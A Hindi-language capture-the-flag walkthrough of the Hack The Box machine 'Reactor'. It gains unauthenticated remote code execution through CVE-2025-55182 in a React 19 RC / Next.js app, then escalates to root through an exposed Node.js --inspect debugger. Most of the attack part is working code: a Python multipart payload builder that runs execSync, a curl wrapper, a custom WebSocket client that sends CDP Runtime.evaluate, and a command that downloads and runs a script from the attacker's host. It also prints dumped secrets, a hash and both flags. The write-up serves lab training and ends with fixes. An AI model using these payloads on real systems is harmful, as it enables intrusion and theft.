
HTB की Reactor मशीन का पूर्ण वॉकथ्रू — shell प्राप्त करने के लिए CVE-2025-55182 का शोषण करें, फिर उजागर Node.js डिबगर के माध्यम से root प्राप्त करें। स्क्रीनशॉट के साथ चरण-दर-चरण।
[!CAUTION] स्पॉयलर चेतावनी। यह फ़्लैग्स सहित एक पूर्ण वॉकथ्रू है। यदि आप मशीन को स्वयं हल करना चाहते हैं, तो इसे अभी बंद करें और जब आप फँस जाएँ तो वापस आएँ।
| फ़ील्ड | विवरण |
|---|---|
| नाम | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| कठिनाई | मध्यम |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| पोर्ट | 22 (SSH), 3000 (Next.js) |
| लेखक | sonnycroco |
Reactor एक परमाणु संयंत्र निगरानी डैशबोर्ड के इर्द-गिर्द थीम पर आधारित है जिसे ReactorWatch कहा जाता है। यह बॉक्स पूरी तरह से दो कमजोरियों की श्रृंखला के बारे में है, कोई अनुमान नहीं, कोई रैबिट होल नहीं, कोई ब्रूट फोर्स नहीं।
रास्ता: एक प्री-रिलीज़ React 19 बिल्ड एक गंभीर डिसीरियलाइज़ेशन दोष उजागर करता है जो आपको एक ही HTTP अनुरोध के साथ बिना प्रमाणीकरण के रिमोट कोड निष्पादन देता है। वहाँ से, रूट के रूप में चल रहा Node.js डिबगिंग पोर्ट एक WebSocket संदेश के माध्यम से आपको पूर्ण सिस्टम पहुँच देता है।
हमले की श्रृंखला:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
node के रूप में छानबीनकिसी भी नई मशीन पर सबसे पहले यह पता लगाना होता है कि क्या सुन रहा है। ताकि कुछ भी छूट न जाए, सेवा डिटेक्शन के साथ एक पूर्ण पोर्ट स्कैन करें।
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

केवल दो पोर्ट। इस चरण में SSH एक बंद रास्ता है क्योंकि हमारे पास अभी कोई क्रेडेंशियल नहीं है। पोर्ट 3000 लक्ष्य है। Nmap पहले ही बता देता है कि यह Next.js 15.0.3 है, जो एक अच्छा सुराग है।
किसी भी चीज़ पर एक्सप्लॉइट फेंकने से पहले, मैं चल रही हर चीज़ का सटीक संस्करण जानना चाहता हूँ। HTTP हेडर ने पहले ही Next.js का खुलासा कर दिया था, लेकिन React संस्करण महत्वपूर्ण विवरण है। React 19 लंबे समय तक प्री-रिलीज़ में था और स्थिर रिलीज़ से पहले इसमें कुछ गंभीर समस्याएँ थीं।
जाँचने के लिए क्लाइंट-साइड JavaScript चंक्स में से एक को खींच रहा हूँ:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
वर्ज़न स्ट्रिंग में वह rc स्मोकिंग गन है। यह React 19 की रिलीज़ कैंडिडेट बिल्ड है, स्थिर संस्करण नहीं। CVE डेटाबेस पुष्टि करते हैं: CVE-2025-55182 इसी बिल्ड को प्रभावित करता है। CVSS 10.0।
यहाँ रहते हुए, मैं मिडलवेयर के सुराग के लिए हेडर की जाँच करता हूँ:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
कहीं भी कोई x-middleware-rewrite हेडर नहीं है, जिसका मतलब है कि Next.js मिडलवेयर स्थापित नहीं है। यह CVE-2025-29927 (मिडलवेयर बायपास) को खारिज कर देता है, यह ध्यान देने योग्य है ताकि आप उस पर समय बर्बाद न करें।
हम क्या जानते हैं:
experimental.serverActions सक्षम है19.0.0-rc, CVE-2025-55182 के लिए संवेदनशील
React 19 के सर्वर कंपोनेंट्स ने सर्वर एक्शन पेश किए, जो सर्वर-साइड फ़ंक्शन हैं जिन्हें क्लाइंट Next-Action हेडर के साथ HTTP POST के माध्यम से कॉल कर सकता है। इन अनुरोधों को संभालने वाला multipart बॉडी पार्सर एक गंभीर त्रुटि रखता है: यह $1:__proto__:then नामक एक संदर्भ प्रकार को असुरक्षित रूप से डिसीरियलाइज़ करता है।
एक multipart बॉडी तैयार करके जो _response._prefix को मनमाने JavaScript पर सेट करती है, एक हमलावर उस कोड का सर्वर पर मूल्यांकन करा देता है। फिर आउटपुट को रीडायरेक्ट के लिए Next.js आंतरिक रूप से उपयोग होने वाले एक अपवाद (NEXT_REDIRECT) के माध्यम से बाहर निकाला जाता है, और x-action-redirect रिस्पॉन्स हेडर के अंदर URL-एन्कोडेड होकर समाप्त होता है।
Next-Action हेडर के साथ किसी भी पेज पर कोई भी POST इसे ट्रिगर करता है। कोई प्रमाणीकरण जाँच नहीं, कोई विशेष एंडपॉइंट नहीं। बस पेलोड को / पर भेजें और आप अंदर हैं।
एक छोटा Python हेल्पर जो इनपुट के रूप में एक शेल कमांड लेता है, multipart पेलोड बनाता है, और भेजने के लिए curl हेतु उसे डिस्क पर लिखता है:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
सब कुछ एक स्यूडो-शेल अनुभव के लिए एक शेल फ़ंक्शन में लपेटना:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
कच्चा HTTP आदान-प्रदान। कमांड आउटपुट रीडायरेक्ट हेडर में ठीक वहीं मौजूद है:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
हम node सेवा खाते के रूप में अंदर हैं। कोई प्रमाणीकरण नहीं, कोई ब्रूट फोर्स नहीं, कोई सोशल इंजीनियरिंग नहीं। बस एक HTTP POST। व्यवहार में CVSS 10.0 ऐसा दिखता है।

[!WARNING] आगे बढ़ने से पहले जानने योग्य दो बातें:
execSyncसिंक्रोनस है और रिस्पॉन्स थ्रेड को ब्लॉक कर देता है। इसके साथ रिवर्स शेल शुरू करने की कोशिश न करें, इसके बजाय asyncexec()उपयोग करें अन्यथा सर्वर हैंग हो जाएगा।NEXT_REDIRECTटेम्पलेट लिटरल नई पंक्तियों (newlines) पर टूट जाता है। URL में डालने से पहले मल्टी-लाइन आउटपुट को समतल (flatten) करने के लिए हमेशाpaste -sd,के माध्यम से पाइप करें।
node के रूप में छानबीनकोड निष्पादन स्थापित होने के बाद, अगला लक्ष्य वातावरण को समझना है: इस बॉक्स पर क्या है, कौन से क्रेडेंशियल पड़े हैं, और क्या किसी उच्च-विशेषाधिकार वाले उपयोगकर्ता के लिए कोई स्पष्ट मार्ग है।
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
डिस्क पर एक SQLite डेटाबेस है। अंदर क्या है, यह जाँच रहा हूँ:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
MD5 हैश वाला एक एडमिन खाता। इसे rockyou के साथ John के माध्यम से चलाने पर यह क्रैक नहीं होता। यह ठीक है, एक बार जब हम वास्तविक privesc (विशेषाधिकार वृद्धि) मार्ग खोज लेते हैं तो हैश क्रैकिंग अनावश्यक हो जाती है। इसे अलग रखकर आगे बढ़ रहा हूँ।
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
engineer नाम का एक उपयोगकर्ता है। यूज़र फ़्लैग उनकी होम डायरेक्टरी में रहता है।
[!NOTE] इस मशीन के कुछ इंस्टेंस पर,
/home/engineer/में700अनुमतियाँ सेट होती हैं, जिसका अर्थ है किnodeसेवा खाता इसे सीधे नहीं पढ़ सकता। यदि आपके साथ ऐसा है, तो घबराएँ नहीं। चरण 6 में शामिल रूट privesc मार्ग आपको रूट के रूप में दोनों फ़्लैग पढ़ने देता है।
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
यदि आपके इंस्टेंस पर /home/engineer/ लॉक है, तो चरण 6 पर आगे बढ़ें और रूट के रूप में दोनों फ़्लैग प्राप्त करें।
पैर जमाने के बाद, मशीन पर कौन सी प्रक्रियाएँ चल रही हैं, यह जाँच रहा हूँ। पूर्ण ps aux लंबी है इसलिए Node.js से संबंधित किसी भी चीज़ के लिए फ़िल्टर कर रहा हूँ:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
वो रहा। रूट के रूप में चल रही एक दूसरी Node.js प्रक्रिया, जो --inspect फ़्लैग के साथ 127.0.0.1:9229 पर बाउंड है। यह एक अपटाइम मॉनिटरिंग स्क्रिप्ट है जिसे किसी ने Node.js डिबगर सक्षम करके शुरू किया और ऐसे ही चलता छोड़ दिया।
--inspect फ़्लैग Chrome DevTools Protocol (CDP) खोलता है, जो आपके ब्राउज़र के डेवलपर टूल द्वारा उपयोग किया जाने वाला वही प्रोटोकॉल है। जब आप इसे कनेक्ट करते हैं, तो आप प्रक्रिया को उसके अपने V8 संदर्भ में मनमाना JavaScript का मूल्यांकन करने के लिए कह सकते हैं। चूँकि यह प्रक्रिया रूट के रूप में चलती है, आप जो भी मूल्यांकन करते हैं वह भी रूट के रूप में चलता है।
एकमात्र बाधा यह है कि डिबगर localhost से बाउंड है, लेकिन हमारे पास पहले से ही बॉक्स पर node के रूप में कोड निष्पादन है, इसलिए हम बिना किसी समस्या के उस तक पहुँच सकते हैं।
डिबगर के चालू होने की पुष्टि करना और WebSocket URL पकड़ना:
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] WebSocket URL में UUID (
1d85ee80-...) प्रत्येक प्रक्रिया इंस्टेंस के लिए अद्वितीय है। आपका अलग होगा। इसे अपने JSON आउटपुट से कॉपी करें और चलाने से पहले एक्सप्लॉइट स्क्रिप्ट में अपडेट करें।

इंस्पेक्टर को Runtime.evaluate कमांड भेजने के लिए, हमें एक WebSocket क्लाइंट चाहिए। ws npm पैकेज लक्ष्य पर नहीं है, इसलिए केवल Node.js बिल्ट-इन का उपयोग करके एक न्यूनतम क्लाइंट खरोंच से लिख रहा हूँ: TCP कनेक्शन के लिए net और WebSocket फ्रेम मास्किंग के लिए crypto।
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] CDP
Runtime.evaluateकॉल के अंदर, सादाrequire()फ़ंक्शन ग्लोबल स्कोप में नहीं होता, भले हीworker.jsस्वयं एक CommonJS मॉड्यूल हो। आपकोprocess.mainModule.require(...)का उपयोग करना होगा। नंगेrequire()का उपयोग करने पर ReferenceError उत्पन्न होगा और कोई आउटपुट नहीं मिलेगा।
हमलावर मशीन से स्क्रिप्ट को सर्व करना:
python3 -m http.server 8080 --directory /tmp/www &
RCE श्रृंखला के माध्यम से इसे लक्ष्य पर डाउनलोड करना और चलाना:
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
प्रतिक्रिया:
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
हम uid=0 के रूप में चल रही प्रक्रिया के अंदर मनमाना JavaScript का मूल्यांकन कर रहे हैं।

वही एक्सप्लॉइट, CMD में अलग कमांड:
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

पहले अनुरोध से रूट तक कुल समय: एक बार CVE समझ लेने पर 10 मिनट से कम। कोई ब्रूट फोर्स नहीं, कोई पासवर्ड क्रैकिंग नहीं, कोई रैबिट होल नहीं।
CVE-2025-29927 (मिडलवेयर बायपास) उसी समय CVE-2025-55182 के साथ ट्रेंड कर रहा था। इसके बायपास का परीक्षण करने से पहले हमेशा सत्यापित करें कि मिडलवेयर वास्तव में मौजूद है या नहीं। x-middleware-rewrite रिस्पॉन्स हेडर की उपस्थिति या अनुपस्थिति आपको तुरंत बता देती है। गलत CVE के पीछे भागना समय बर्बाद करने का आसान तरीका है।
execSync रिवर्स शेल तोड़ देगायह सबप्रोसेस के बाहर निकलने तक पूरे सर्वर रिस्पॉन्स थ्रेड को ब्लॉक कर देता है। इसके माध्यम से bash -i या netcat शेल शुरू करने पर दोनों तरफ हैंग हो जाएगा। यदि आपको इस एक्सप्लॉइट से एक इंटरैक्टिव शेल चाहिए तो child_process से async exec() का उपयोग करें।
कमांड आउटपुट एक JavaScript टेम्पलेट लिटरल के अंदर एम्बेड हो जाता है: NEXT_REDIRECT;push;/login?a=${res};307;। res में कोई भी शाब्दिक नई पंक्ति टेम्पलेट लिटरल को तोड़ देती है और कुछ भी नहीं लौटाती। एक्सफिलट्रेशन से पहले पंक्तियों को जोड़ने के लिए सब कुछ paste -sd, के माध्यम से पाइप करें।
require ग्लोबल नहीं हैजब आप Node.js इंस्पेक्टर को Runtime.evaluate भेजते हैं, तो आप एक V8 आइसोलेट के अंदर निष्पादित करते हैं जो CommonJS require फ़ंक्शन को ग्लोबल रूप से उजागर नहीं करता, तब भी जब लक्ष्य प्रक्रिया स्वयं एक CommonJS मॉड्यूल हो। CDP एक्सप्रेशन के अंदर हमेशा process.mainModule.require("module") का उपयोग करें।
इस मशीन के कुछ स्पॉन्स पर, node सेवा खाता /home/engineer/user.txt को सीधे पढ़ सकता है। अन्य पर, होम डायरेक्टरी पर 700 अनुमतियाँ इसे रोकती हैं। रूट privesc मार्ग हमेशा काम करता है और आपको दोनों फ़्लैग देता है, चाहे कुछ भी हो।
| कमजोरी | सुधार |
|---|
| CVE-2025-55182 | React को 19.0.0-rc से स्थिर React 19 रिलीज़ में अपग्रेड करें। Next.js को संस्करण 15.2.3 या उच्चतर में अपग्रेड करें। |
रूट के रूप में Node.js --inspect | सभी प्रोडक्शन प्रक्रियाओं से --inspect को पूरी तरह हटा दें। साझा सिस्टम पर इंस्पेक्टर को किसी भी पते, यहाँ तक कि 127.0.0.1, से कभी न बाँधें। डिबगिंग के लिए एक समर्पित पृथक वातावरण का उपयोग करें। |
| एप्लिकेशन डायरेक्टरी में SQLite DB | डेटाबेस को वेब रूट के बाहर ले जाएँ। फ़ाइलसिस्टम अनुमतियों को प्रतिबंधित करें ताकि वेब प्रक्रिया केवल उसी तक पहुँच पाए जिसकी उसे सख्त आवश्यकता है। |